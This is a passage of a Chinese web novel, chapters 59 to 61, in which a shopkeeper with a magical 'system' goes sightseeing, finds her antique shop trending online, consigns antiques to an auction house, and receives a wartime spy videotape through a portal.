“你晒伤了怎么不说啊，等等，我有防晒霜，”萧妧妧惊呼一声，翻包找防晒霜，一股脑塞进他手里，“别愣着啊，你赶紧擦擦吧，看起来有点严重。” 见黎行墨眉头微拧，神色复杂还有点不自然地望着小瓶子，萧妧妧以为他在不好意思，于是转过身不看他，径自爬阶梯。 【作者有话说】 感谢“隺翯”,灌溉营养液+3[玫瑰] 59 第59章 ◎男人至死是少年◎ 萧妧妧目标明确,大迈步朝着佛窟走。 那里的石壁有一尊超大佛像，是南奇山热门景点之一，游客必打卡的地方。 萧妧妧踮脚张望一会，没找到云昭昭的身影,便发一条消息告知大概方位,忙着拍照打卡。 她一手高举过头顶,另一手举着相机找角度,可惜她来得晚，热门好角度挤满了人,萧妧妧摆弄几次镜头，总有游客入镜,连拍几张下来，没有一张是满意的。 “这是什么姿势？” 黎行聿慢两步走来,在她身边站定。 萧妧妧眼睛一亮，“是和佛祖拍照的姿势,你看,像不像givemefive？” 黎行聿凑到屏幕前,看了看石壁上的佛像,再对照着看了看萧妧妧竖起的手掌,轻笑出声。 “我明白了。”黎行聿抽走萧妧妧的手机，退后半步。 一事不烦二主，萧妧妧打腹稿组织措辞，想着怎么拜托黎行聿帮忙,他倒是主动撞了上来。 萧妧妧笑眯了眼，配合地举起胳膊。 她一会givemefive一会握拳宣誓,隔了一会手掌倾斜,摆出敬礼的动作,黎行聿以为结束的时候，萧妧妧换了只手。 竖起食指戳佛祖脸颊、竖起两指抵在太阳穴、比L型手势放在下巴处、剪刀手横在眼前…… 黎行聿不知道她哪来这么多稀奇古怪的拍照姿势，连拍十几张后忍俊不禁。 萧妧妧怕他不耐烦，连声说：“快了快了，还有最后一个。” 她双手举起各伸出一根食指，一左一右分别卡在佛头两边。 黎行聿：“这个动作是什么意思？” “是一休转脑筋的手势。”她说。 萧妧妧解释完，黎行聿也刚好完成拍照，她噔噔噔凑过来查看照片。 黎行聿拿出手机搜索一休，看见图片上盘腿的小和尚，瞬间了然。 “可以再拍几张吗？我保证只有几张，很快的。” 萧妧妧显然是意犹未尽，狐狸眼弯成月牙，水润润亮晶晶，她仰头看过来，双手合十晃了晃，讨好地冲着他笑。 黎行聿不由失神，喉头滚动两下，在她希冀的目光中点头。 “谢谢你黎行聿，你人真好。” 好话不要钱似的扔出来，萧妧妧放下背包，蹲在地上翻翻找找。 好一会，依次掏出口红、墨镜、矿泉水、棒棒糖。 “对了，黎行聿，你身上有烟吗？”她想到什么，突然仰头。 黎行聿不解：“我不抽烟。” 萧妧妧失望：“那就拍不到请佛祖抽烟的照片了。” 请佛祖抽烟……黎行聿想象一会，不由发出短促清越的笑声。 “稍等。”他说。 见黎行聿低头在手机上敲了几下，萧妧妧以为他在忙私事，没敢打扰，老老实实等了一会，直到他收起手机，才开始微笑摆pose。 有前面的经验累积，黎行聿很快摸清了萧妧妧的喜好，高效率完成任务。 萧妧妧来回翻一遍，每张都很满意，惊喜极了。 “我拍完了，要不要帮你拍几张？”萧妧妧递上自己的拍照道具：“喏，它们可以借你用。” “不，谢谢。” 黎行聿回想她做得那些搞怪俏皮的pose，后撤半步，敬谢不敏。 萧妧妧耸耸肩，道具塞回背包，“那我们去出口集合吧。” 黎行聿扫一眼手机，“再等等。” 萧妧妧挠头，不知道他要等什么，好在没多久，她就知道等什么了。 “哥，你要烟做什么，你不是不抽的吗？” 黎行墨一头雾水地找来，从裤兜里掏出半盒香烟，拿出一支递过来。 黎行聿没接，下颌微抬，示意旁边傻眼的萧妧妧。 “给她。” 黎行墨：“……？” 萧妧妧迟疑一会，指着自己，试探开口：“该不会是……给我拍照用？” 黎行墨一脸问号：“拍照？？” 黎行聿偏头转向萧妧妧：“不拍吗？” 萧妧妧偷瞄一眼，黎行墨地傻愣愣瞪着眼睛，飞快从他手里抽走香烟，边拿边小声道谢。 “拍拍拍，当然拍。” 说完，两人一前一后离开，寻找最佳机位。 被撇下的黎行墨摊手耸肩，一脸问号，看他们旁若无人地举着香烟咔咔拍。 不知道发生什么，萧妧妧又抱着肚子笑的东倒西歪，黎行聿一向挂着礼节性笑容的脸上频频浮现愉悦的神态，纤细身影与明媚笑脸潜入他眼底。 怪异感又一次漫上心头，黎行墨神情一肃，双手环胸，拧眉审视起萧妧妧。 萧妧妧无疑是漂亮的，哪怕不是他会欣赏的类型，黎行墨也不能昧着良心说不好看。 但漂亮的、有趣的、温柔的……从来不少见，萧妧妧算不上多么独特。 “算了，应该不可能。”他挠挠头，随口嘟囔。 “什么不可能？是不是等烦了？” 萧妧妧拍到了满意照片，整个人兴高采烈，洋溢着幸福气息。 黎行墨瞄一眼大哥，摇了摇头，没说话。 “你刚才没看到，有一个旅游团的大爷们有样学样，举着手从我们中间穿过去，大爷边走边说‘南市的佛祖为什么要这样拜？’哈哈哈，太好笑了。” 萧妧妧模仿大爷的动作还模仿大爷的语气，没说完，自己先憋不住哈哈笑，笑得上气不接下气。 黎行聿虚张着胳膊拦在她身侧，防止她撞到人。 黎行墨刚压下去疑虑倏地冒出头，他笑不出来，目光一个劲的在两人间打转。 萧妧妧一无所觉，缓过劲后，分辨方向，带着他们找集合点，黎行聿神色淡淡，迈步跟上。 黎行墨望着一前一后的背影，嘀咕一句“一定是我看错了”，随即大迈步绕到两人前面带路。 “咦……黎行聿，你的晒伤已经好了？” 萧妧妧走着走着落在了后面，下阶梯时瞥到黎行聿的肩颈，猛地想起他晒伤的事，可这才没多久，皮肤已然看不到一点痕迹。 黎行聿下意识摸了摸颈侧，动作稍顿一会，含糊回应她，“防晒霜很有用。” 萧妧妧呆了呆，不知道怎么回话，防晒霜能治晒伤？ 这时，黎行墨不知道怎么了，突然间加快脚步冲了出去。 萧妧妧反应慢半拍，跟上去后正好撞见黎行墨推攘季随。 “脱鞋就脱鞋，用得着抱这么紧吗？” “昭昭，你鞋子怎么了？脚没事吧？” 云昭昭承受着四面八方的视线，巴掌大的脸涨得通红，写满了无措。 萧妧妧听了一会，总算知道他们为什么闹起来。 云昭昭的鞋子脱胶了，鞋底鞋面分家，尴尬得不知道怎么办，季随刚扶住她，黎行墨恰好撞见，不由分说的闹起来。 萧妧妧叹气，扶额，一副头疼的表情。 要不是气氛不合适，她真想喊一嗓子“你们补药再打了啦”。 “你们别吵，先去找双能穿的鞋子要紧。” 提醒他们一句，萧妧妧转身往回走，从南奇寺过来的路上有两间商铺，她记得那里有拖鞋卖。 “我跟你去。” 黎行墨季随不甘示弱，先后开口，萧妧妧脚步一顿，求助地看向黎行聿。 黎行聿：“我跟你们一起。” 萧妧妧呆了一会，她以为黎行聿会制止他们，她一个人来回跑快得很，多了他们俩不知道有多折腾。 只是他话已出口，萧妧妧不好拒绝，而且黎行墨和季随正在较劲，估计不会听话。 想了想，萧妧妧转身嘱咐道：“昭昭你先去阴凉地方等等，我们很快回来。” 云昭昭难堪地捂着脸，点点头，躲开其他游客的视线，默默挪向角落。 找商铺的路上意外的和谐，萧妧妧以为只要把鞋子买到再赶回去，这件事到此为止，哪知道他们会在拖鞋颜色上产生争执。 黎行墨：“粉色好看，昭昭会喜欢粉色。” 季随：“喜欢有什么用，她更适合白色。” 萧妧妧吐槽：“款式差不多，随便拿一双得了。” “不行！”*2 两人一动不动地瞪着对方，头也没回的拒绝。 萧妧妧无力耸肩，退到黎行聿身边，看他们能争到什么时候。 这时，僵持不下的两人转身询问他们的意见，寻求认同，压下对方。 黎行聿哪个都不认同，“既然是云老师穿的鞋子，你们是不是该尊重她的意见？” 黎行墨不以为然：“不用问，昭昭肯定喜欢我选的颜色，女孩子都喜欢粉色。” 黎行聿挑了挑眉梢，不置可否地笑了笑。 萧妧妧看热闹不嫌事大，笃定说道：“我觉得昭昭会选黑色。” “为什么？” 两人齐齐转头看过来，齐齐开口。 萧妧妧啧了一声，“你们太不懂女孩子了，尤其是昭昭。” 昭昭平时很节俭，买东西肯定优先考虑实用性。 白色不耐脏，粉色难搭配，实用性不高，只有黑色百搭又耐脏，适配昭昭任何颜色的衣服，可以反复穿。 两人神情明显是不相信的，萧妧妧哼哼两声，给云昭昭拍去照片问她意见。 没多久，一句黑色的回复发来，两人默然不语，神情恹恹。 萧妧妧暗道一声总算结束了，抓紧时间买了拖鞋赶回去。 这一出闹完，他们罕见的老实了许久，别说萧妧妧，云昭昭都有点不习惯，偷摸给她发消息，打听他们是不是打架了。 下山的路要清净许多，萧妧妧腿脚软得直发抖的时候，一行人终于回到了景区的停车场。 景区门口打车难度太大，萧妧妧一看排队时间要半小时，差点没晕倒。 正为难，黎行聿驾着车停在她面前。 “上车吧，我送你们回去。” 萧妧妧看向后面，黎行墨和季随分别驾着车紧跟过来，停在路边。 豪车引起了路旁游客的围观，纷纷上前拍照合影，女生莫名的询问、男生激动地解答。 大家没听懂品牌名称，但“全球限量”“一个亿”几个字蹦出口，周围炸锅似的惊呼，吸引了更多人上前参观。 没有人能不好奇，大家都想看看什么破车能值一个亿。 而这时，黎行墨旁若无人地探出车窗，使劲朝云昭昭和萧妧妧的方向挥手，大声呼喊云昭昭的名字，陆续有人转过头来张望。 萧妧妧收回视线，毫不犹豫答应黎行聿的邀请。 黎行聿这次乘坐的车子偏商务一些，对比后面那辆价值过亿的骚包跑车，低调了不止一点点，关键是座位足够塞得下她们两个人。 “那啥，能不能等一分钟？”萧妧妧走到车边，略显为难地挠头，“我的外卖马上就到。” 萧妧妧又累又热又渴，下山前忍不住点了两杯柠檬茶解馋。 黎行聿略歪了歪头，阳光下，萧妧妧脸蛋红扑扑，额头汗珠细密，手掌做扇不停给自己扇风遮阳。 “上车等。” 萧妧妧欢快地唉了一声，拉着云昭昭走下人行道。 云昭昭见黎行聿坐在后排，缩了缩脖子，无视不停呼喊的黎行墨，脚步一转，选择副驾驶。 萧妧妧只好去后排，和黎行聿一起，刚要拉开车门，外卖电话打来。 她和车里人示意一下，按照外卖小哥给出的位置前去找人，好不容易在人群里接头，拿到外卖，萧妧妧转身看到岔路口摆放的几个易拉宝海报架。 “古董收藏展……” 萧妧妧凝着易拉宝上的图文出神，冷不丁听到黎行聿的声音从身侧传来，仰头看过去。 黎行聿回望她眼眸，看出她的困惑，淡淡解释：“担心你出事，过来看看。” 萧妧妧瞄一眼手机，原来是她看得入神，耽误了几分钟。 她一脸懊恼的说：“抱歉抱歉，没注意时间，我们回去吧。” 黎行聿多看一眼海报，又看一眼海报正后面的展览馆，没说什么，领着萧妧妧往回走。 “妧妧姐你怎么去那么久，没出事吧？” 看到两人身影先后出现，云昭昭放心了，果断拒绝黎行墨的邀请，催促他回自己车上，然后不再理会他委屈的目光，转过身，望着刚坐上后排的萧妧妧关心几句。 萧妧妧吹了会冷气，缓过劲后摆摆手解释：“没什么，看到一个感兴趣的展览，没注意时间。” 说着，萧妧妧给她递去果茶，又拿出吸管想插进自己杯子里，刚要动作，突然发现有点尴尬。 她和云昭昭一人一杯，黎行聿看着她们喝，好像不太好。 “……这杯给你喝，就当谢谢你载我们一程。”萧妧妧忍着心痛把饮料递出去。 黎行聿好笑地打量萧妧妧，她脸上不舍的表情太明显。 他拿起自己的保温杯晃了晃，拒绝她的好意，“谢谢。” 萧妧妧放心了，吸管啵得一声插进杯子，酸甜果茶下肚，狐狸眼舒服地眯起。 “真看不出来，你已经到了要喝枸杞水保养的年纪。” 黎行聿看她咕嘟咕嘟大口吞咽，忽然觉得口渴，刚拧开杯盖，闻言动作稍顿。 “……29岁，应该不算很老吧？”定定地望着杯子里漂浮的枸杞，黎行聿怎么也下不了口。 萧妧妧自知失言，急忙找补：“不老不老，男人至死是少年。” 黎行聿：…… 车厢里陷入沉默，萧妧妧不觉得尴尬，有一搭没一搭地盯着车上的仪表盘。 “真的，竟然没有超过40码哎。” 豪车，但40码，甚至请了司机开，萧妧妧观察半天，忍不住和云昭昭小声蛐蛐。 景区内车辆众多、游客如织，道路拥堵不堪，车子只能缓慢地走走停停，等到了通畅路段仍旧保持40码以下的速度，足以证明黎行墨的吐槽保真。 黎行聿嗓音沉沉，不紧不慢接话：“交通安全，人人有责。” 萧妧妧一惊，她随口和云昭昭嘀咕，没想到让黎行聿听见。 她微微侧过身子，快速瞥了一眼黎行聿，见他紧闭双眼靠在椅背上，看起来像睡着了，实际清醒着呢，连低语声也没能逃过他的耳朵。 萧妧妧缩了缩脖子，瞬间变得乖巧起来，再也不敢随意乱说话，盯着急速倒退的绿荫发呆。 当萧妧妧回过神，发觉周围的绿化景色有些熟悉时，车子慢悠悠停在月牙巷口。 这时，副驾驶的云昭昭咦了一声，指着前面不远处的小卖部，诧异低呼。 “妧妧姐，你快看，小卖部门口好多人。” 【作者有话说】 感谢读者“小窗户”,灌溉营养液+5[星星眼] 60 第60章 ◎萧老板，你火啦◎ 萧妧妧闻言心口一跳,慌忙探出车窗查看。 小卖部像是网红打卡点一般，时不时有人路过指指点点，或是停下脚步拍张照再离开。 “谢谢你啊黎行聿，”萧妧妧又把目光投向了前面开车的司机师傅,补充：“大叔,也谢谢你啊。” “店里有点事,我先走了。” 萧妧妧冲黎行聿挥挥手,迫不及待地推开车门，拎起包往小卖部跑。 云昭昭不愿意独自面对不苟言笑的老板,赶忙向他们道谢后，飞快地跟下车。 黎行聿看着她们风一般迅速跑远,想要说些什么，但最终没来得及出声。 目送她们安全进入店内,黎行聿收回视线，对司机师傅吩咐道：“回公司吧。” 得到指令后,司机师傅应了一声,踩油门重新上路,渐渐消失在车流中。 回到小卖部,店里一如往常的平静,没见什么异样，确定不是异世界客人闹出事引来大家注目，萧妧妧彻底松了一口气。 正好肚子饿了，萧妧妧不去管外面一波波打卡拍照的人,留下云昭昭吃午饭。 云昭昭欣然点头同意。 夜爬过后正需要补充能量，黎行墨邀请大家一起吃饭,有过前车之鉴,她们默契地拒绝了,宁愿回小卖部吃垃圾食品。 两人快快乐乐地收拾桌子等外卖，没想到许年华先找了过来。 一进门，他喜气洋洋的说：“恭喜恭喜，萧老板，你火啦。” 云昭昭见他们要谈正事的样子，自觉让出空间，去后院客房卸妆。 “什么火了？许叔你快跟我说啊，我昨晚去夜爬，刚回来没喘几口气，还不知道发生了什么呢。” 许年华一打量，萧妧妧今日果然打扮的不一样，便道：“嗐，你看看热搜吧，是好事。” 萧妧妧更懵了，狗屎一样的运气能遇到什么好事？ 将信将疑的掏出手机，接上充电线，一开机，新闻弹送到眼前。 “古董店主获赏金140万后，无偿捐赠古籍复印本” “古董店主无偿捐赠古籍，助力破译甲骨文” “十四个字，一百四十万，美女店主如何日入百万” 不同APP用了不同标语推送新闻，萧妧妧随手一滑，还真有种自己火了的错觉。 点进去仔细看图文，她和文字博物馆教授们的合影赫然在列，不止如此，新闻稿写明了店铺名称和大致地址。 转念一想，难怪昨天博物馆的韩叔找来问她古董铺取名了没。 滑动屏幕，页面进入到评论区，粗略浏览一遍，好在没什么质疑的声音。 萧妧妧挺意外的，热度居然很高，不知道是关注破译进展还是关注那一百四十万。 她又切换到其他APP刷相关信息，萧妧妧灵光一闪。 为什么不趁现在热度高注册一个属于古董铺的账号？ 反正早晚都要做的事，这样一来不仅能够增加曝光度，说不定还能吸引到更多的潜在客户，拓宽客源呢。 萧妧妧的行动力一向超强，想到做到。 切换空白小号，改用户名，恰好前几天她拍摄了一段双面绣屏的视频，能派上用场，随后发布几张上了新闻稿的合影证明账号真实性。 忙完这些，她切换APP跑去热搜新闻下，在评论区装作路人指引店铺账号，引导着其他网友前去关注。 “萧老板不够意思啊，要不是今天看了新闻，哪知道萧老板你背着大家做好人好事啊。” 一番忙碌，萧妧妧差点忘记许年华在等她，匆忙收起手机。 “许叔怎么今天找来了？我再晚点回来，您可就要白走一趟。”萧妧妧跳过话题，转而问起其他。 许年华笑眯眯说：“不白走，这不是路过顺道看一眼，对了，今天网络拍卖，你那枚银元拍出去了，买家一付款，我们这边就能打款。” 萧妧妧懵了一会，恍然记起自己送拍银元这件事，她一拍脑门，懊恼说：“我给忘了，许叔，剩下那几枚要不要一起带走？” 许年华：“要一起卖？” 萧妧妧想了想，一枚枚卖怪麻烦的，全部卖出要等大半年，而现在的她并不缺那几千块，卖不上价就卖不上价吧。 “一起吧。” 她一股脑把剩下几枚银元塞给许年华，许年华见她主意已定，掏协议走流程，笑着打趣：“可见萧老板最近没少赚。” 萧妧妧腼腆的笑笑，没接话。 许年华趁她签字的工夫，调整坐姿，试探开口：“对了，萧老板那天发的朋友圈，我瞧着怪眼熟的，好像是我们黎总。” “是他，那天隧道淹了，他弟弟给我五万让我送黎行聿去公司，”萧妧妧说着说着开始叹气，“太倒霉了，我还是第一次被交警抓呢。” 许年华盯着她瞧，分辨了一会，笑哈哈说：“是挺倒霉，我看到照片都没敢认。” 萧妧妧不想回忆那天，急匆匆签字把协议递回去，打断了话题。 许年华检查一遍，收进公文包，扭头环顾四周，一副神秘兮兮的样子凑过来。 “上回和萧老板说的事，有眉目了。” 萧妧妧回想一下，马上反应过来他说得是哪一回，唰一下瞪大眼睛。 “许叔您喝茶，咱们慢慢聊。” 正好茶水烧开了，萧妧妧为他泡了一杯茶，茶叶是苏娇娇带来的，很拿得出手。 许年华接过茶杯，嗅了嗅香气，惊喜地啧了一声。 “是这样，我认识的一位收藏家，特别喜爱围棋，什么棋盘棋子棋盅，收藏了不少，他现在呢在收集象牙棋子，我这不是想起你手里有牙雕手串，所以先来打听打听，要是能弄到，我也好带人来不是。” 萧妧妧一听，有片刻失望，“只要棋子吗？” 许年华挑挑眉，神情意外：“看来是我小瞧了萧老板，你放心，如果你能弄来一整套，棋盘一副，棋盅两个，黑白棋子361枚，张先生吃得下。” 他挤挤眼睛：“张先生很有实力，爱好也是一阵一阵的，前些年喜欢翡翠，最近爱砗磲象牙，谁知道下回又看上什么了。” 萧妧妧明白了他的意思，笑着说：“谢谢你许叔，给我介绍这么大一单生意。” “嗐，要是真能促成生意，那是三赢，当是我的一点心意，”许年华连连摆手，抱歉的说：“你婶婶那件事，给萧老板添麻烦了。” 反正这些东西明面上走不通，他私下里牵线搭桥，既维护了客户关系，又能赔罪，大家都有的赚。 萧妧妧又想叹气了，“三婶她……是有点难搞。” 许年华想起那天王翠菊冲上来的架势，深以为然的点头。 “许叔，要不要看看我的古董铺？周一开业，您是自己人，有优先权。”萧妧妧笑眯眯邀请。 许年华当即来了兴趣，起身要往后院走。 “嚯！萧老板你这铺子真是大手笔啊。” 许年华等她开了门，一踏进铺子，眼睛都不知道看哪里好。 他不是专业搞鉴定，但大学专业有点联系，又在这行业浸淫多年，眼力还是有的。 排除玉仁宅那十几件眼熟的老演员，铺子里大部分物件都有看头。 “还有双面绣呢，这不便宜啊，咱们拍卖行前两期拍出去一件，只有你这一半大，50万。” 许年华张开手掌比划一下，而后转到玻璃柜附近。 “瓶子真好看，这雕工，一看就知道不是现代的技艺……”许年华目不转睛地盯着眼前的宝贝们，恨不得拿来放大镜，“萧老板有没有想过送几件去佳博？” 如果把它们送到拍卖会上去，毫无疑问会引发一场激烈的争夺战，成交额手到擒来。 萧妧妧转念一想，也不是不行。 系统仓库里有不少她没来得及收拾出来的老物件，只摆在店铺里出售，天晓得要等到猴年马月，才能碰到识货且愿意出价购买的有元人。 “好啊，许叔你看哪些合适？”萧妧妧大方极了，伸手做出请的姿势，任他挑选。 许年华顺口那么一说，压根儿就没指望这事儿能够成真，闻言喜不自禁。 他一会儿走到这边瞅瞅，一会儿又跑到那边摸摸，嘴里不停地念叨。 “哎呦喂，这玉如意可真是太精美了，瞧着是青白玉的，绝对适合作为下下期拍卖会的主题拍品； 还有双面屏风，啧啧啧，工艺精湛啊，正好可以放到下一期去亮相； 嗯……这墨可真不错，年底有书画为主题的拍卖会，肯定能派上大用场。” 萧妧妧看他那副垂涎欲滴、两眼放光的模样，心中涌起得意之情，骄傲地仰起头。 别以为她没看出来，许年华进店之前，对她的古董铺子可是很不以为然的。 “许叔，你可别把好东西都挑走了，我这古董铺也需要留几件镇店的。”她笑着打趣。 许年华脸颊一阵红过一阵，“不能不能，我就挑两三件。” 正在这时，手机铃声欢快响起，萧妧妧悄悄打开监控，退到院子中。 “妧妧啊，你上新闻啦？那个热搜里面是不是你啊，你小姨说看着像你，我说不可能啊，咱们是开小卖部的，上面怎么说是古董店啊？我一看那个照片，正好是咱家那个院子，怎么回事啊？” 电话接通，张芸的大嗓门滋滋啦啦传来，萧妧妧捂着耳朵挪开手机。 “是我。”萧妧妧缩了缩脖子，声音渐弱：“这不是生意冷清，想法子搞个副业嘛，本来想等开业了给你们一个惊喜。” “对了，妧妧啊，那个一百四十万是不是真的啊？真给那么多吗？” 电话那头叽叽喳喳，没多久，不属于张芸的声音传来，萧妧妧分辨了一会，乖巧喊一声“小姨”。 “是真的，钱我都拿去进货开铺子了。” 萧妧妧早想好了借口，淡定接话。 毕竟铺子里宝贝多，进货的本钱从哪来说不清，正好这一百四十万的进账能当幌子用用，也免得亲戚们惦记，她还要想法子拒绝。 “我们妧妧真厉害，你现在工作稳定了，该考虑一下结婚处对象……哎呀，大姐你别拉我，等我说完……” “妧妧，还是小姨，小姨认识不少男孩子呢，你要是有想法，小姨给你介绍，条件都很好的，你听小姨给你讲讲……” 萧妧妧顿时头大，刚回南市那阵子小姨就提过相亲的事，她用开店装修的理由暂时蒙混过去。 现在店铺开起来了，一时半会她真想不到什么理由拒绝。 “欢迎光临~” 好在这时看店神器响起提示音，萧妧妧心中一喜，急忙转移话题，“小姨，妈，我先挂电话了，好多人来店里打卡呢，我得去招呼一下。” 顾不上电话那头有没有反应过来，萧妧妧以迅雷不及掩耳之势迅速挂断电话。 “妧妧你在吗？” 突然听到苏娇娇惊惶的呼*唤，萧妧妧心里一咯噔，来不及多想，三步并作两步，大步流星地迈进了小卖部。 然而还没等她站稳，一双血淋淋的手毫无征兆地闯入眼帘，再看苏娇娇身上，深色的斑斑点点溅了一大片，血腥气扑面而来。 萧妧妧倒吸一口凉气。 【作者有话说】 感谢读者“隺翯”,灌溉营养液+8 感谢读者“钱钱欧皇好运气”,灌溉营养液+10 感谢读者“小窗户”,灌溉营养液+5 你们人真好~[星星眼][星星眼] 60-70 61 第61章 ◎珍贵史料◎ “出事了,车上有特务在搜查。” 看到萧妧妧，苏娇娇安心了不少，惊魂未定的开口。 实在是太意外了，本该一帆风顺的返程,因这场突如其来的状况变得惊险万分。 “特务？是来找你的吗？” “是不是受伤了？怎么伤的？我给你弄些药吧。” 萧妧妧见她白着一张脸,说话时声音颤抖,吓了一大跳,匆忙抬头看一眼结界，显示的画面应该是火车上的厕所。 苏娇娇喘息片刻,拦住团团转的萧妧妧，缓缓开口,说起前因后果。 她的目光飘忽，思绪好像拉回几分钟前,眼睁睁看着那位金发记者死在自己眼前。 “别担心，不是我的血,有一个外籍记者,她被特务追杀了,她死之前塞给了我一盒录像带,现在特务封锁了火车,要给每一个人搜身，我带不走它。” 外籍记者、录像带、特务……几个词组在一起，萧妧妧嗅到了不同寻常的气息。 到底哪里不同寻常，萧妧妧一时半会没能想通关窍。 苏娇娇来不及交待更多,急匆匆把录像带塞到了她的手里，拜托她藏起,又急匆匆回到火车的厕所打理自己。 “萧老板,萧老板？东西我选好了,你人呢？” 萧妧妧正望着录像带沉思，猛地听到许年华呼唤，忙把东西丢进系统仓库，擦净手上蹭到的血迹。 “许叔，你真会选啊，这三样都是我花了大价钱收回来的。” 许年华满面通红，意气风发，凝视柜台上三件宝贝，双手叉腰，可见是满意极了。 第一件是玉如意，第二件是南红手串，第三件是一套古墨。 萧妧妧好奇，许年华看中了它们什么。 瞄一眼系统面板，已经扫描完毕，等待她启动估价功能，萧妧妧果断选择开启，依次扫描许叔选中的三件东西。 略等了十来秒，它们以图片形式在面板上呈现，排成一行，图片正下方是赤裸裸的数字，币种可切换十来个左右。 萧妧妧惊喜万分，迅速扫了一眼。 和田玉青白玉玉如意，系统估价620万元，价格出乎萧妧妧预料，她以为最多三四百万顶天了。 再就是南红手串，品相接近极品，但因其中一颗珠子上有细微瑕疵，估价说高不高，说低不低，达到了108万。 即便如此，也很出乎她预料，小小一串红珠子，和她手上戴的玛瑙瞧着大差不差，价格差了百倍以上。 最后是那一盒长条的古墨，共八锭，尺寸不算大，两指宽、半截手掌那么长，每锭正面有金箔做装饰，侧面雕有诗词，价格在这三样中最低，64万8，有零有整的。 但换个角度比，八锭总共9斤多一点，能卖到65万，其实挺贵的，比起苏娇娇送来的那套圆形明墨，没便宜到哪里去。 看到估价，她总算能理解许年华的眼光，赞叹片刻，目光转向八锭古墨。 “你说墨啊，”许叔笑眯眯说：“最近半年古墨收藏市场有明显升温，尤其古墨不易保存，存世稀少，碰到合适的就收了吧。” 萧妧妧闻言，心思一动，想再给那套圆形古墨估一估价。 许年华等了一会，没见萧妧妧反对，心情更好了，丢下协议，回到车上取专用盒子包起拍品。 流程全部走完，许年华乐呵呵离开，萧妧妧拿出圆形古墨。 系统扫描过后，看到172万的估价，她长舒一口气，还好还好，报价160万不算太亏。 萧妧妧喜滋滋地合上礼品盒，外卖刚好送到。 她拉着云昭昭坐下吃饭，手机叮叮叮响，是她特别关注的主播直播提醒。 萧妧妧几次想等主播上线帮忙鉴宝，每次都因店里太忙，直接错过鉴宝机会。 现在不同，系统开启了估价功能，萧妧妧便不那么急迫，她慢悠悠点开直播间，手机架在一旁，边听边吃。 不需要主播帮忙鉴宝，但萧妧妧不想错过学习机会。 对于珠宝和古董，她现在算门外汉，得抓紧机会学习提高自己。 云昭昭听着主播的讲解，面色越发疑惑，总觉得声音有点耳熟。 偷瞥一眼屏幕，看不到主播的脸，云昭昭收回目光，专心吃饭。 饭后休息一阵，云昭昭要赶下午的兼职，和萧妧妧交待一声先走了，萧妧妧目送她离开，感叹一句年轻真好，一宿没睡还有精力工作。 萧妧妧不行，困得脑袋一点一点，等了几分钟，苏娇娇一直没出现，她扛不住了，关上店门，去客房洗了个热水澡，打开空调美滋滋补觉。 空调被拉过头顶，在被窝里舒展酸疼的四肢，昏昏欲睡。 即将坠入沉眠的一刻，一道惊雷在脑海中划过，萧妧妧倏然睁眼，唰一下弹坐起身。 她不知道录像带里的具体内容，但看特务反应，猜测它不简单，从这个角度探究下去，萧妧妧忽然想起了原著剧情。 这段剧情她记得还算清晰，是《谍影》的故事开篇，从记者逃命的画面引到火车站，再引出男主和女配。 追捕外籍记者拿回录像带的过程全部发生在火车上，同一时间，书里的主角在火车上执行秘密任务，因这场意外不得不中断，下车时与女配苏娇娇产生了交集，隐晦而无望的爱在这一刻迸发，故事从这里开始。 后来，因这场意外，男主卷入了一个又一个危机中，好在有惊无险，完美化解，并与苏娇娇产生了深厚的情感。 至于后续，她只在评论区窥见一二，似乎是苏娇娇发现了男主的真实身份，得知亡夫是为男主而死，内心挣扎，难以释怀又不忍责怪男主，一个人跑去大后方继续自己的革命事业。 然而事情没完，男主身份泄露，苏娇娇接应男主撤离途中为男主挡枪，当场死亡。 萧妧妧抓了抓头，看来得买点防弹衣给苏娇娇备着。 从剧情中剥离出来，她转而开始思考录像带如何处置。 出场镜头仅有几秒的录像带确实不同寻常，是外籍记者潜入敌后拍摄下来的入侵者们的罪证。 原文剧情里只说录像带丢失，下落不明，真实情况无人得知。 可现在不一样，录像带辗转来到她手里，放在当下，那是入侵者的有力罪证，是珍贵史料！ 意识到这一点，她浑身血液沸腾起来，整个人都要红温了。 强迫自己冷静下来后后，萧妧妧稍稍转动脑筋，立刻有了想法。 而要达成目标，唯一要说服的只有苏娇娇。 萧妧妧相信自己可以说服苏娇娇，也相信苏娇娇会同意她这么做，高悬的心脏回到胸腔。 临睡前，萧妧妧紧急下单十件防刺防弹背心，又多买了些米面粮油等物资。 系统仓库扩大了真好，又可以买买买，不愁塞不下。 付款成功的那一刻，萧妧妧丢开手机仰倒回床铺上，胡思乱想中迷迷糊糊睡了过去。 悠悠转醒时，已是夕阳西下，萧妧妧望着昏暗房间揉揉眼睛，有种世界只剩下她一人的孤寂感。 “妧妧，妧妧你还在吗？” 低落情绪不过持续了十几秒，小卖部传来连声呼喊。 萧妧妧打起精神，嘴里应着“来了来了”，手忙脚乱地掀开被子起身。 她错估了自己，才曲起腿，伸出胳膊，一股强烈的酸疼感强势袭来，萧妧妧瞬间皱起五官，哎呦哎呦地呻吟，倒吸气。 睡了一觉，肌肉酸痛的情况非但没有好转，反而愈发严重起来，四肢仿佛重组一般，每个关节和肌肉都在抗议。 她挣扎着翻身下床，像不能自理的残障人士，趿拉着拖鞋一瘸一拐地出门，姿势稍显滑稽。 苏娇娇安全到家后，收拾一番迫不及待地来到小卖部，她有好多话想说，好多情绪要分享。 等她冷不丁看到萧妧妧僵硬的走姿，龇牙咧嘴的表情，到嘴边的话忘得一干二净。 “你这是怎么了？出什么事了？”她满脸关切地询问，快步走上前要搀扶。 萧妧妧连连摆手拒绝，缓慢前行几米远后，疼痛缓和不少，身体也逐渐适应了。 “没事没事，出门爬山去了，上下爬了一千多阶梯，运动过度，估计是肌肉拉伤。” 得知不是什么大问题，苏娇娇放心了，再看她蹒跚脚步，露在外面的小腿肚直发颤，颤巍巍拉来凳子坐下，一时间没忍住，噗呲一下笑出声，眉宇间的愁绪散去。 萧妧妧只当没看见她在偷笑，倒了两杯水，示意她坐下，率先开口说起正事。 “你那边什么情况？没被人发现吧？” 苏娇娇摇摇头，“有个好心人帮了我一把，没让特务查下去，查了也不碍事，反正录像带不在我手里。” 一次又一次，苏娇娇还是想感慨，小卖部真好用。 萧妧妧怕她下次塞一把gun进来，赶忙提醒，“小卖部禁止携带热武器，如果有需要你提前跟我说，我来修改权限。” 目前权限是初试状态，只可以携带冷兵器，要不是担心申明月进出不方便，她连冷兵器一并禁了。 苏娇娇笑了，眉眼弯弯，心脏充盈着暖流，她重重点头：“好。” 萧妧妧摆摆手，说起第二件事。 “娇娇姐，关于录像带，我大概已经知道里面是什么东西……” “你怎么会知道？里面到底有什么呀？” 